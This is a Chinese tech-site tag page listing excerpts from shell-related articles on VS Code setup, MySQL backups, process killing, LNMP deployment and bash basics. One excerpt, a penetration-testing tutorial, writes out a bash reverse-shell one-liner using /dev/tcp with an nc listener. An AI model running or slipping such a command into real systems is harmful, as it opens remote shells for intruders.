草庐IT

roo-shell

全部标签

Visual Studio Code 配置Shell环境(第1次更新:20230416)

1.前置1.1安装VisualStudioCode(VSCode)下载地址:https://code.visualstudio.com/Download安装:略1.2安装Git下载地址:https://git-scm.com/downloads安装:略2.安装插件2.1进入应用市场打开VSCode后,点击左侧的"Extensions"扩展面板,并在搜索栏输入扩展插件的名字。2.2安装shellman简介智能提示和自动补全搜索、安装插件搜索栏输入shellman,点击"install"按钮​安装完毕查看效果点击"explorer"资源管理器面板,右键单击红框处,点击"NewFile"新建文件。​

数据处理的大一统——从 Shell 脚本到 SQL 引擎

“工业流水线”的鼻祖,福特T型汽车[1]的电机装配,将组装过程拆成29道工序,将装备时间由平均二十分钟降到五分钟,效率提升四倍,下图图源[2]。T型汽车装配流水线这种流水线的思想在数据处理过程中也随处可见。其核心概念是:标准化的数据集合:对应待组装对象,是对数据处理中各个环节输入输出的一种一致性抽象。所谓一致,就是一个任意处理环节的输出,都可以作为任意处理环节的输入。可组合的数据变换:对应单道组装工序,定义了对数据进行变换的一个原子操作。通过组合各种原子操作,可以具有强大的表达力。则,数据处理的本质是:针对不同需求,读取并标准化数据集后,施加不同的变换组合。Unix管道Unix管道是一项非常伟

shell脚本-MySQL数据库备份

shell脚本-MySQL数据库备份准备:确保mysql服务启动可以通过mysqldump命令来备份数据库1.mysqldump命令语法:使用mysqldump命令备份一个数据库的语法格式如下:mysqldump-uusername-pdbpasswd[tbname...]>filename.sql使用mysqldump命令备份一个数据库中表的语法格式如下:mysqldump-uusername-pdbpasswd[tbname...]>filename.sql2.参数:-s会去掉显示表的边框-e免交互实例:[root@localhostscripts]#mysql-uroot-proot-e

shell脚本查询进程, 存在则kill掉

这是一个在shell脚本中查询进程并结束该进程的示例:#查询进程process=`ps-ef|grep"process_name"|grep-vgrep|awk'{print$2}'`#如果进程存在,则结束该进程if[[-n"$process"]];thenkill$processfi这段代码首先使用ps-ef查询系统中所有正在运行的进程,然后使用grep命令筛选出名为"process_name"的进程。最后,使用awk命令获取该进程的进程号(PID),并将其存储在变量process中。然后,使用if语句判断变量process是否包含值,如果包含值,则表示找到了名为"process_name"

shell脚本-lnmp一键部署

shell脚本-lnmp一键部署创建文件lnmp.shvimlnmp.sh#!/bin/bash#描述:LNMP网站架构部署脚本cat/dev/nullecho"创建Nginx运行用户"groupaddwwwuseradd-gwwwwww-s/sbin/nologintarxf$nginx_gzcd$nginx./configure--prefix=/usr/local/nginx--with-http_dav_module--with-http_stub_status_module--with-http_addition_module--with-http_sub_module--with-

swift - 如何在 swift shell 应用程序中制作可编辑的文本字段

我正在尝试在NSWindow中创建一个可编辑的文本区域。到目前为止我可以一个窗口并添加一个文本字段-但是当我选择它并键入字符时,字符会在shell中而不是文本区域中回显。注意:这不是一个Xcode项目-我试图在一个单一的shell中的文件-我的目标是仅在代码中执行此操作要复制错误,请将以下代码放入文件(experiment.swift)并提供shell命令>swiftexperiment.swift这是代码importCocoaclassMyAppDelegate:NSObject,NSApplicationDelegate{letwindow=NSWindow()leted=NSTe

swift - 如何在 swift shell 应用程序中制作可编辑的文本字段

我正在尝试在NSWindow中创建一个可编辑的文本区域。到目前为止我可以一个窗口并添加一个文本字段-但是当我选择它并键入字符时,字符会在shell中而不是文本区域中回显。注意:这不是一个Xcode项目-我试图在一个单一的shell中的文件-我的目标是仅在代码中执行此操作要复制错误,请将以下代码放入文件(experiment.swift)并提供shell命令>swiftexperiment.swift这是代码importCocoaclassMyAppDelegate:NSObject,NSApplicationDelegate{letwindow=NSWindow()leted=NSTe

Linux shell:脚本判断进程是否在运行

一.命令说明psaux|grep进程名|grep-vgrep:进程存在则输出信息,不存在则没输出ps-ef|grep进程名|grep-vgrep|wc-l:进程存在则输出行数(也就是数量),不存在则输出0二.运行示例demo方法一:新建脚本:touchtest.sh添加如下内容:#!/bin/shprocessNum=`ps|grep进程名|grep-vgrep|wc-l`;echo$processNumif[$processNum-eq0];thenechonotrunningelseechorunningfisleep5赋予权限:chmod777test.sh运行结果:kill进程号(PI

LINUX shell反弹篇(一)

我们有时候在渗透测试中,经常会反弹shell一次来进行会话,从而提权或者寻找信息,今天就总结一下在linux上反弹shell的几种方法及原理。测试环境:kali、centos一、bash反弹:在kali机上监听端口:nc-lvp7777在centos上使用:bash-i>&/dev/tcp/ip/port0>&1//ip就是反弹到开启监听的机器,port就是监听的端口号这条命令我也在网上查了很多资料,总结了一下bash-i就是打开一个bash>&符号定义:当>&后面跟着文件时,就表示为将标准输出和标准错误输出到重定向的文件也就是监听端上。当>&后面跟着文件标识符时,就表示将前面的文件描述符重定

Linux和Shell笔记-2基本的bash shell命令

Linux文件系统及相关操作与windows前面标明盘符不同,Linux采用了将文件存储在单个目录结构中,这个目录被称为虚拟目录。Linux使用正斜线(/)而不是反斜线(\)在文件路径中划分目录。Linux中反斜线用来标识转义字符,因此不能用在文件路径里,这一点和windows不同。常用的目录名称以及功能介绍如下:/bin存放常用的命令(二进制可执行程序)(重点)/boot存放系统内核及启动相关的文件,类似于window里面的C盘,很重要,一般不会让别的人去挤压它的存储空间(重点)/dev存放我们的设备文件(重点)/etc存放系统配置文件(重点)/home家目录(所有普通用户的家目录)/lib